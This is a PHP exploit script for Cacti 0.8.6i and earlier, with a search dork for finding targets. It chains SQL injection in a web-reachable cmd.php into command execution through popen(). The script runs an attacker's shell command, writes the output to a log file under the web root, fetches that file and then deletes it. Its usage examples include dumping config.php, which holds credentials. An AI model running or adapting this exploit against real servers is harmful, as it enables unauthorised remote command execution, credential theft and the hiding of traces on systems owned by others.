cacti086i-remote.txt

`<?php  
print_r('  
--------------------------------------------------------------------------------  
Cacti <= 0.8.6i "cmd.php" popen() injection  
by rgod  
dork: intitle:"login to cacti"  
mail: retrog at alice dot it  
site: http://retrogod.altervista.org  
--------------------------------------------------------------------------------  
');  
  
if ($argc<4) {  
print_r('  
--------------------------------------------------------------------------------  
Usage: php '.$argv[0].' host path cmd OPTIONS  
host: target server (ip/hostname)  
path: path to Cacti  
Options:  
-p[port]: specify a port other than 80  
-P[ip:port]: specify a proxy  
Example:  
php '.$argv[0].' localhost /cacti/ ls -la -P1.1.1.1:80  
php '.$argv[0].' localhost / cat ./include/config.php -p81  
--------------------------------------------------------------------------------  
');  
die;  
}  
error_reporting(0);  
ini_set("max_execution_time",0);  
ini_set("default_socket_timeout",5);  
  
function quick_dump($string)  
{  
$result='';$exa='';$cont=0;  
for ($i=0; $i<=strlen($string)-1; $i++)  
{  
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))  
{$result.=" .";}  
else  
{$result.=" ".$string[$i];}  
if (strlen(dechex(ord($string[$i])))==2)  
{$exa.=" ".dechex(ord($string[$i]));}  
else  
{$exa.=" 0".dechex(ord($string[$i]));}  
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}  
}  
return $exa."\r\n".$result;  
}  
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';  
  
function sendpacketii($packet)  
{  
global $proxy, $host, $port, $html, $proxy_regex;  
if ($proxy=='') {  
$ock=fsockopen(gethostbyname($host),$port);  
if (!$ock) {  
echo 'No response from '.$host.':'.$port; die;  
}  
}  
else {  
$c = preg_match($proxy_regex,$proxy);  
if (!$c) {  
echo 'Not a valid proxy...';die;  
}  
$parts=explode(':',$proxy);  
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";  
$ock=fsockopen($parts[0],$parts[1]);  
if (!$ock) {  
echo 'No response from proxy...';die;  
}  
}  
fputs($ock,$packet);  
if ($proxy=='') {  
$html='';  
while (!feof($ock)) {  
$html.=fgets($ock);  
}  
}  
else {  
$html='';  
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {  
$html.=fread($ock,1);  
}  
}  
fclose($ock);  
}  
  
$host=$argv[1];  
$path=$argv[2];  
$port=80;  
$proxy="";  
$cmd="";  
for ($i=3; $i<$argc; $i++){  
$temp=$argv[$i][0].$argv[$i][1];  
if (($temp<>"-p")  
and ($temp<>"-P")  
) {$cmd.=" ".$argv[$i];}  
if ($temp=="-p")  
{  
$port=str_replace("-p","",$argv[$i]);  
}  
if ($temp=="-P")  
{  
$proxy=str_replace("-P","",$argv[$i]);  
}  
}  
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}  
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}  
  
function my_encode($my_string)  
{  
$encoded="CHAR(";  
for ($k=0; $k<=strlen($my_string)-1; $k++)  
{  
$encoded.=ord($my_string[$k]);  
if ($k==strlen($my_string)-1) {$encoded.=")";}  
else {$encoded.=",";}  
}  
return $encoded;  
}  
/*  
software site: http://cacti.net/  
  
the cmd.php is not properly protected:  
  
...  
if (!isset($_SERVER["argv"][0])) {  
die("<br><strong>This script is only meant to run at the command line.</strong>");  
}  
...  
  
if register_argc_argv = on, you can have web access, poc:  
  
http://[target]/[path]/cmd.php?1  
  
now you can inject sql commands, ex. in this query:  
  
...  
$polling_items = db_fetch_assoc("SELECT * from poller_item " .  
"WHERE (host_id >= " .  
$_SERVER["argv"][1] .  
" and host_id <= " .  
$_SERVER["argv"][2] . ") ORDER by host_id");  
...  
  
and you can poison the $polling_items array that becomes like this:  
  
Array  
(  
[0] => Array  
(  
[local_data_id] => 2  
[poller_id] => 0  
[host_id] => 1  
[action] => 1  
[hostname] => 127.0.0.1  
[snmp_community] =>  
[snmp_version] => 1  
[snmp_username] =>  
[snmp_password] =>  
[snmp_port] => 161  
[snmp_timeout] => 500  
[rrd_name] => proc  
[rrd_path] =>  
[rrd_num] => 1  
[rrd_step] => 300  
[rrd_next_step] => 0  
[arg1] => [your command]  
[arg2] =>  
[arg3] =>  
)  
  
)  
  
$polling_items[arg1] is passed to a popen() call in /include/poller.php,  
see exec_poll() function...  
  
you do not have any output but you can redirect it to some file in /rra  
or /log folder which is 'cactiuser''  
  
*/  
  
$command=my_encode($cmd." > ./rra/suntzu.log");  
$h=my_encode("127.0.0.1");  
$pr=my_encode("proc");  
$sql="1111)/**/UNION/**/SELECT/**/2,0,1,1,$h,null,1,null,null,161,500,$pr,null,1,300,0,$command,null,null/**/FROM/**/host/*";  
$packet ="GET ".$p."cmd.php?1+$sql+11111 HTTP/1.0\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Connection: Close\r\n\r\n";  
sendpacketii($packet);  
sleep(2);  
  
$packet ="GET ".$p."rra/suntzu.log HTTP/1.0\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Connection: Close\r\n\r\n";  
sendpacketii($packet);  
echo $html;  
  
$command=my_encode("rm ./rra/suntzu.log");  
$sql="1111)/**/UNION/**/SELECT/**/2,0,1,1,$h,null,1,null,null,161,500,$pr,null,1,300,0,$command,null,null/**/FROM/**/host/*";  
$packet ="GET ".$p."cmd.php?1+$sql+11111 HTTP/1.0\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Connection: Close\r\n\r\n";  
sendpacketii($packet);  
  
?>  
`